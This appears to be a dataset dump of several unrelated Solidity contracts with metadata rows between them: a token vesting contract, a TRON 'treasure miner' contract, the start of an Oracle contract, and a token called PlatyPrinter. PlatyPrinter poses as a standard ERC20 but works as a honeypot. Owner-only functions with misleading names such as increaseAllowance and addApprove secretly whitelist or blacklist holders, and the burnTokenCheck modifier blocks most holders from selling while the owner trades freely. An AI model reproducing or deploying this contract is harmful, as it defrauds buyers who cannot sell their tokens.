_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Initializable {
bool private _initialized;
bool private _initializing;
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
contract TokenVesting is Ownable, Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Released(uint256 amount);
event Revoked(address token);
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function initialize(address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable) external initializer
{
require(_beneficiary != address(0), "_beneficiary cannot be address 0");
require(_cliff <= _duration, "_duration needs to be more than _cliff");
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(IERC20 token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0, "No tokens to release");
released[address(token)] = released[address(token)].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(IERC20 token) public onlyOwner {
require(revocable, "Not revocable");
require(!revoked[address(token)], "Already revoked");
uint256 balance = token.balanceOf(address(this));
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[address(token)] = true;
token.safeTransfer(owner(), refund);
emit Revoked(address(token));
}
function releasableAmount(IERC20 token) public view returns (uint256) {
return vestedAmount(token).sub(released[address(token)]);
}
function vestedAmount(IERC20 token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(released[address(token)]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[address(token)]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
function updateBeneficiary(address _beneficiary) public onlyOwner {
require(_beneficiary != address(0), "_beneficiary cannot be address 0");
beneficiary = _beneficiary;
}
function updateStartTime(uint256 _start) public onlyOwner {
require(_start > 0, "Invalid start time");
start = _start;
}
function updateDuration(uint256 _duration) public onlyOwner {
require(_duration > 0, "Invalid duration");
duration = _duration;
}
function updateCliff(uint256 _cliff) public onlyOwner {
require(_cliff > 0, "Invalid cliff");
cliff = _cliff;
}
}
| 309,014 | 14,019 |
f0f1ec63ffec9a2f3336b38e58dbd239b334d7f990d1a56c487989b254210446
| 30,022 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/af/af22675D3eFc6a3F974aeBE374a11ffF76CaD9F4_PlatyPrinter.sol
| 3,395 | 12,617 |
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PlatyPrinter is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x64f6d28f8fF48BE618c4d87d8c912d19b2aCBe0c;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 72,571 | 14,020 |
9743bf44f5074a92adb0c0a920c61284748de588b9a2c61c8718c17cbb7b85aa
| 15,114 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TT/TTCUTBqXGkwAcHpkAksQ6nrsMcEnCUjYtL_MatrixBlockchainTreasureMiner.sol
| 3,788 | 14,681 |
//SourceUnit: MATRIXTreasureMiner.sol
pragma solidity >=0.4.25 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Object{
struct Element{
bool isTRC10;
uint tokenId;
address trc20Address;
uint availableHarvestBalance;
uint totalUserBalance;
}
struct Strain{
uint[] inElements;
uint[] ratioInElements;
uint[] outElements;
uint[] ratioOutElements;
uint timeToGrown;
}
struct GrowthXP{
uint elementId;
uint elementConsum;
uint minutesBonus;
}
struct Plant{
uint startTime;
uint bonusTime;
uint harvestTime;
uint mulSeed;
uint strainId;
}
}
interface TRC20Interface {
function totalSupply() external view returns (uint);
function balanceOf(address tokenOwner) external view returns (uint balance);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
}
contract Managable {
address public owner;
mapping(address => bool) public admins;
bool public locked;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
locked = false;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
modifier onlyAdmin() {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function setAdminStatus(address adminAccount, bool isActive) public onlyOwner {
require(adminAccount != address(0));
admins[adminAccount] = isActive;
}
modifier isNotLocked() {
require(!locked);
_;
}
function setLock(bool _value) onlyAdmin public {
locked = _value;
}
}
contract MatrixBlockchainTreasureMiner is Managable {
using SafeMath for uint;
uint constant TIME_UNIT = 1 minutes;
Object.Element[] private elements;
Object.Strain[] private strains;
Object.GrowthXP[] private growthXPs;
mapping (address => mapping (uint => uint)) public balanceElements;
mapping(address => Object.Plant[]) public plants;
function addElementTrc10(uint tokenId) public onlyAdmin {
elements.push(Object.Element(true,tokenId,address(0),0,0));
}
function addElementTrc20(address trc20Address) public onlyAdmin {
elements.push(Object.Element(false,0,address(trc20Address),0,0));
}
function getElementsCount() public view returns(uint) {
return elements.length;
}
function getElement(uint elementId) public view returns(bool, uint, address, uint, uint){
Object.Element storage element = elements[elementId];
return (element.isTRC10, element.tokenId, element.trc20Address, element.availableHarvestBalance, element.totalUserBalance);
}
function addGrowthXP(uint elementId, uint elementConsum, uint minutesBonus) public onlyAdmin{
require(elementId < elements.length, "Don't exits this element");
growthXPs.push(Object.GrowthXP(elementId, elementConsum, minutesBonus));
}
function getElementGrowthXPCount() public view returns(uint){
return growthXPs.length;
}
function getElementGrowthXP(uint growthXPId) public view returns(uint elementId, uint elementConsum, uint minutesBonus){
return (growthXPs[growthXPId].elementId, growthXPs[growthXPId].elementConsum, growthXPs[growthXPId].minutesBonus);
}
function addStrain(uint[] inElements, uint[] ratioInElements, uint[] outElements, uint[] ratioOutElements, uint timeToGrown) public onlyAdmin{
strains.push(Object.Strain(inElements, ratioInElements, outElements, ratioOutElements,timeToGrown));
}
function getStrainsCount() public view returns(uint) {
return strains.length;
}
function getStrainElementsCount(uint strainId) public view returns(uint inElementsCount, uint outElementsCount){
return (strains[strainId].inElements.length,strains[strainId].outElements.length);
}
function getStrainData(uint strainId, uint idInOutElement, bool isIn, bool isRatio) public view returns(uint){
if(isIn){
if(isRatio){
return strains[strainId].ratioInElements[idInOutElement];
}
else{
return strains[strainId].inElements[idInOutElement];
}
}
else{
if(isRatio){
return strains[strainId].ratioOutElements[idInOutElement];
}
else{
return strains[strainId].outElements[idInOutElement];
}
}
}
function getStrainTimeToGrown(uint strainId) public view returns(uint){
return strains[strainId].timeToGrown;
}
function injectElementFund(uint elementId, uint value) public payable {
require(elementId < elements.length, "Element ID does not exist");
if(elements[elementId].isTRC10){
require(msg.tokenid == elements[elementId].tokenId, "Please inject the right token");
elements[elementId].availableHarvestBalance = elements[elementId].availableHarvestBalance.add(msg.tokenvalue);
}
else{
TRC20Interface trc20 = TRC20Interface(elements[elementId].trc20Address);
bool result = trc20.transferFrom(msg.sender,address(this),value);
require(result,"Can't deposit trc20, make sure unlock for this contract");
elements[elementId].availableHarvestBalance = elements[elementId].availableHarvestBalance.add(value);
}
}
function fixUntrackableFund(uint elementId) public onlyAdmin{
require(elementId < elements.length, "Element ID does not exist");
uint untrackableFund = 0;
if(elements[elementId].isTRC10){
untrackableFund = address(this).tokenBalance(elements[elementId].tokenId).sub(elements[elementId].availableHarvestBalance).sub(elements[elementId].totalUserBalance);
}
else{
TRC20Interface trc20 = TRC20Interface(elements[elementId].trc20Address);
uint currentBalance = trc20.balanceOf(address(this));
untrackableFund = currentBalance.sub(elements[elementId].availableHarvestBalance).sub(elements[elementId].totalUserBalance);
}
require(untrackableFund > 0, "Not have untrackable");
elements[elementId].availableHarvestBalance = elements[elementId].availableHarvestBalance.add(untrackableFund);
}
function depositElement(uint elementId, uint value) public payable returns(uint) {
require(elementId < elements.length, "Element ID does not exist");
if(elements[elementId].isTRC10){
require(msg.tokenid == elements[elementId].tokenId,"Wrong TRC10 deposit");
require(msg.tokenvalue > 0, "Please send amount token > 0");
balanceElements[msg.sender][elementId] = balanceElements[msg.sender][elementId].add(msg.tokenvalue);
elements[elementId].totalUserBalance = elements[elementId].totalUserBalance.add(msg.tokenvalue);
}
else{
TRC20Interface trc20 = TRC20Interface(elements[elementId].trc20Address);
bool result = trc20.transferFrom(msg.sender,address(this), value);
require(result,"Can't deposit trc20, make sure unlock for this contract");
balanceElements[msg.sender][elementId] = balanceElements[msg.sender][elementId].add(value);
elements[elementId].totalUserBalance = elements[elementId].totalUserBalance.add(value);
}
}
function withdrawElement(uint elementId, uint amount) public payable returns(uint) {
require(elementId < elements.length, "Element ID does not exist");
require(balanceElements[msg.sender][elementId] >= amount,"Not enough balance");
balanceElements[msg.sender][elementId] = balanceElements[msg.sender][elementId].sub(amount);
elements[elementId].totalUserBalance = elements[elementId].totalUserBalance.sub(amount);
if(elements[elementId].isTRC10){
require(address(this).tokenBalance(elements[elementId].tokenId) >= amount,"Contract does not contain enough element balance to withdraw!");
address(msg.sender).transferToken(amount, elements[elementId].tokenId);
}
else{
TRC20Interface trc20 = TRC20Interface(elements[elementId].trc20Address);
require(trc20.balanceOf(address(this)) >= amount,"Contract not enough element balance to withdraw!");
bool result = trc20.transfer(msg.sender,amount);
require(result,"Can't withdraw trc20, make sure unlock for this contract");
}
}
function getMyPlantsCount() public view returns(uint) {
return plants[msg.sender].length;
}
function plant(uint strainId, uint mulSeed) public returns(uint plantId){
require(strainId < strains.length, "Treasure does not exist");
Object.Strain storage strain = strains[strainId];
for(uint i=0; i < strain.inElements.length; i++){
require(balanceElements[msg.sender][strain.inElements[i]] >= strain.ratioInElements[i].mul(mulSeed), "Not enough input element");
}
for(i=0; i < strain.inElements.length; i++){
uint amountElementConsum = strain.ratioInElements[i].mul(mulSeed);
balanceElements[msg.sender][strain.inElements[i]] = balanceElements[msg.sender][strain.inElements[i]].sub(amountElementConsum);
elements[strain.inElements[i]].availableHarvestBalance = elements[strain.inElements[i]].availableHarvestBalance.add(amountElementConsum);
elements[strain.inElements[i]].totalUserBalance = elements[strain.inElements[i]].totalUserBalance.sub(amountElementConsum);
}
plants[msg.sender].push(Object.Plant(now, 0, 0, mulSeed, strainId));
return plants[msg.sender].length-1;
}
function growthXP(uint plantId, uint growthXPId, uint mulBonus) public {//mulBonus * base value (price and minutes redure) => total price and minus will redure
require(plantId < plants[msg.sender].length, "TreasureMine does not exist");
Object.Plant storage plant = plants[msg.sender][plantId];
Object.Strain storage strain = strains[plant.strainId];
require(plant.harvestTime == 0, "TreasureMine was mined! Does not need miningxp");
require(growthXPId < growthXPs.length, "MiningXP does not exist");
require((now.sub(plant.startTime.sub(plant.bonusTime.mul(TIME_UNIT))) < strain.timeToGrown.mul(TIME_UNIT)), "This treasure completed mining, please vault!");
uint amountMinusBonus = growthXPs[growthXPId].minutesBonus.mul(mulBonus).sub(1);
require((now.sub(plant.startTime.sub(plant.bonusTime.add(amountMinusBonus).mul(TIME_UNIT))) < strain.timeToGrown.mul(TIME_UNIT)), "This treasure mining is over bonus time");
require(balanceElements[msg.sender][growthXPs[growthXPId].elementId] >= growthXPs[growthXPId].elementConsum.mul(mulBonus), "Not enough miningxp element");
uint amountElementConsum = growthXPs[growthXPId].elementConsum.mul(mulBonus);
balanceElements[msg.sender][growthXPs[growthXPId].elementId] = balanceElements[msg.sender][growthXPs[growthXPId].elementId].sub(amountElementConsum);
elements[growthXPs[growthXPId].elementId].availableHarvestBalance = elements[growthXPs[growthXPId].elementId].availableHarvestBalance.add(amountElementConsum);
elements[growthXPs[growthXPId].elementId].totalUserBalance = elements[growthXPs[growthXPId].elementId].totalUserBalance.sub(amountElementConsum);
plants[msg.sender][plantId].bonusTime = plants[msg.sender][plantId].bonusTime.add(growthXPs[growthXPId].minutesBonus.mul(mulBonus));
}
function harvest(uint plantId) public returns(bool isSuccess) {
require(plantId < plants[msg.sender].length, "TreasureMine does not exist");
isSuccess = false;
Object.Plant storage plant = plants[msg.sender][plantId];
require(plant.harvestTime == 0, "TreasureMine was mined! Can't do it again");
Object.Strain storage strain = strains[plant.strainId];
require((now.sub(plant.startTime.sub(plant.bonusTime.mul(TIME_UNIT))) >= strain.timeToGrown.mul(TIME_UNIT)), "This plan does not complete");
plant.harvestTime = now;
for(uint i = 0; i < strain.outElements.length; i++){
uint outElementId = strain.outElements[i];
uint ratioElement = strain.ratioOutElements[i];
uint elementWillGet = ratioElement.mul(plant.mulSeed);
require(elements[outElementId].availableHarvestBalance >= elementWillGet, "Contract does not have enough mineable elements");
balanceElements[msg.sender][outElementId] = balanceElements[msg.sender][outElementId].add(elementWillGet);
elements[outElementId].availableHarvestBalance = elements[outElementId].availableHarvestBalance.sub(elementWillGet);
elements[outElementId].totalUserBalance = elements[outElementId].totalUserBalance.add(elementWillGet);
}
isSuccess = true;
return isSuccess;
}
}
| 287,094 | 14,021 |
19c702eece55631a4eb9c27a6b1e4e3ad99b28ac869f8ed8390accc42f14570c
| 23,338 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/31/3126adf03aa9ed62d09182778e7ab0ea0832569c_Oracle.sol
| 4,720 | 16,706 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() internal {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
